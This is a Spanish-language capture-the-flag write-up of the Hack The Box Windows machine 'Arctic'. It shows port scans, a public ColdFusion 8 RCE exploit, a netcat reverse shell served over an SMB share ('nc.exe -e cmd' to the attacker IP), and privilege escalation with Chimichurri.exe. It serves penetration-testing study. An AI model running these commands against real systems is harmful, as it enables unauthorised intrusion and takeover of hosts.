Arctic

Arctic
Sistema operativo Dificultad Fecha de Lanzamiento Creador
Windows Easy 22 Marzo 2017 ch4p

Reconocimiento

Lanzamos una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

arctic

Enumeración inicial

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open -Pn -n --min-rate 5000 -oG openPorts -vvv 10.10.10.11 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 16:17 -03
Initiating SYN Stealth Scan at 16:17
Scanning 10.10.10.11 [65535 ports]
Discovered open port 135/tcp on 10.10.10.11
Discovered open port 49154/tcp on 10.10.10.11
Discovered open port 8500/tcp on 10.10.10.11
Completed SYN Stealth Scan at 16:17, 26.50s elapsed (65535 total ports)
Nmap scan report for 10.10.10.11
Host is up, received user-set (0.15s latency).
Scanned at 2025-03-25 16:17:01 -03 for 27s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE REASON
135/tcp   open  msrpc   syn-ack ttl 127
8500/tcp  open  fmtp    syn-ack ttl 127
49154/tcp open  unknown syn-ack ttl 127

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.58 seconds
           Raw packets sent: 131084 (5.768MB) | Rcvd: 20 (880B)

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos.

nmap -sCV -p135,8500,49154 -oN servicesScan 10.10.10.11
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-25 16:17 -03
Nmap scan report for 10.10.10.11 (10.10.10.11)
Host is up (0.15s latency).

PORT      STATE SERVICE VERSION
135/tcp   open  msrpc   Microsoft Windows RPC
8500/tcp  open  fmtp?
49154/tcp open  msrpc   Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 139.14 seconds

Explotación inicial

HTTP (8500)

ColdFusion Macromedia/Adobe ColdFusion

arctic

arctic

https://github.com/0xDTC/Adobe-ColdFusion-8-RCE-CVE-2009-2265

searchsploit -m cfm/webapps/50057.py
mv 500057.py exploit.py

Ingresamos la información correspondiente.

arctic

Ejecutamos el exploit y ganamos acceso al sistema.

arctic

arctic

Lo que haremos ahora será ganar acceso a través de una shell más estable, para lo cual creamos un recurso compartido en la máquina atancate para compartir el binario de nc.exe.

impacket-smbserver -smb2support share .

Nos ponemos en escucha con Netcat por el puerto 443.

rlwrap nc -lnvp 443

Luego, en la máquina víctima ejecutamos el siguiente comando

\\10.10.14.32\share\nc.exe -e cmd 10.10.14.32 443

arctic

arctic

arctic

Elevación de privilegios

C:\temp>systeminfo
systeminfo

Host Name:                 ARCTIC
OS Name:                   Microsoft Windows Server 2008 R2 Standard 
OS Version:                6.1.7600 N/A Build 7600
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:          Windows User
Registered Organization:   
Product ID:                55041-507-9857321-84451
Original Install Date:     22/3/2017, 11:09:45 ��
System Boot Time:          27/3/2025, 4:55:36 ��
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             el;Greek
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory:     6.143 MB
Available Physical Memory: 5.072 MB
Virtual Memory: Max Size:  12.285 MB
Virtual Memory: Available: 11.239 MB
Virtual Memory: In Use:    1.046 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 N/A
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) PRO/1000 MT Network Connection
                                 Connection Name: Local Area Connection
                                 DHCP Enabled:    No
                                 IP address(es)
                                 [01]: 10.10.10.11
./windows-exploit-suggester.py --update
./windows-exploit-suggester.py --database 2019-10-12-mssb.xls --systeminfo /root/Desktop/htb/arctic/systeminfo.txt
root@kali:/home/d4redevil/htb/Arctic/exploits/Windows-Exploit-Suggester-python3# ./windows-exploit-suggester.py --database 2025-03-25-mssb.xls --systeminfo systeminfo.txt
[*]
initiating winsploit version 3.4...
[*]
database file detected as xlsx based on extension
[*]
attempting to read from the systeminfo input file
[+]
systeminfo input file read successfully (utf-8)
[*]
querying database file for potential vulnerabilities
[*]
comparing the 0 hotfix(es) against the 197 potential bulletins(s) with a database of 137 known exploits
[*]                                                                                                    
there are now 197 remaining vulns                                                                      
[+]                                                                                                    
[E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin                                         
[+]                                                                                                    
windows version identified as 'Windows 2008 R2 64-bit'                                                 
[*]                                                                                                    

[M]                                                                                                    
MS13-009: Cumulative Security Update for Internet Explorer (2792100) - Critical                        
[M]                                                                                                    
MS13-005: Vulnerability in Windows Kernel-Mode Driver Could Allow Elevation of Privilege (2778930) - Important                                                                                                
[E]                                                                                                    
MS12-037: Cumulative Security Update for Internet Explorer (2699988) - Critical                        
[*]                                                                                                    
  http://www.exploit-db.com/exploits/35273/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5., PoC                                                                                          
[*]
  http://www.exploit-db.com/exploits/34815/ -- Internet Explorer 8 - Fixed Col Span ID Full ASLR, DEP & EMET 5.0 Bypass (MS12-037), PoC
[*]
[E]
MS11-011: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (2393802) - Important
[M]
MS10-073: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (981957) - Important
[M]
MS10-061: Vulnerability in Print Spooler Service Could Allow Remote Code Execution (2347290) - Critical
[E]
MS10-059: Vulnerabilities in the Tracing Feature for Services Could Allow Elevation of Privilege (982799) - Important
[E]
MS10-047: Vulnerabilities in Windows Kernel Could Allow Elevation of Privilege (981852) - Important
[M]
MS10-002: Cumulative Security Update for Internet Explorer (978207) - Critical
[M]
MS09-072: Cumulative Security Update for Internet Explorer (976325) - Critical
[*]
done

Transferimos el exploit Chimichurri.exe a la máquina.

Nos ponemos en escuha con Netcat por el puerto 4444 y ejecutamos el exploit.

rlwrap nc -lnvp 4444

arctic

arctic

Post Explotación

Leemos el flag de root.txt.

arctic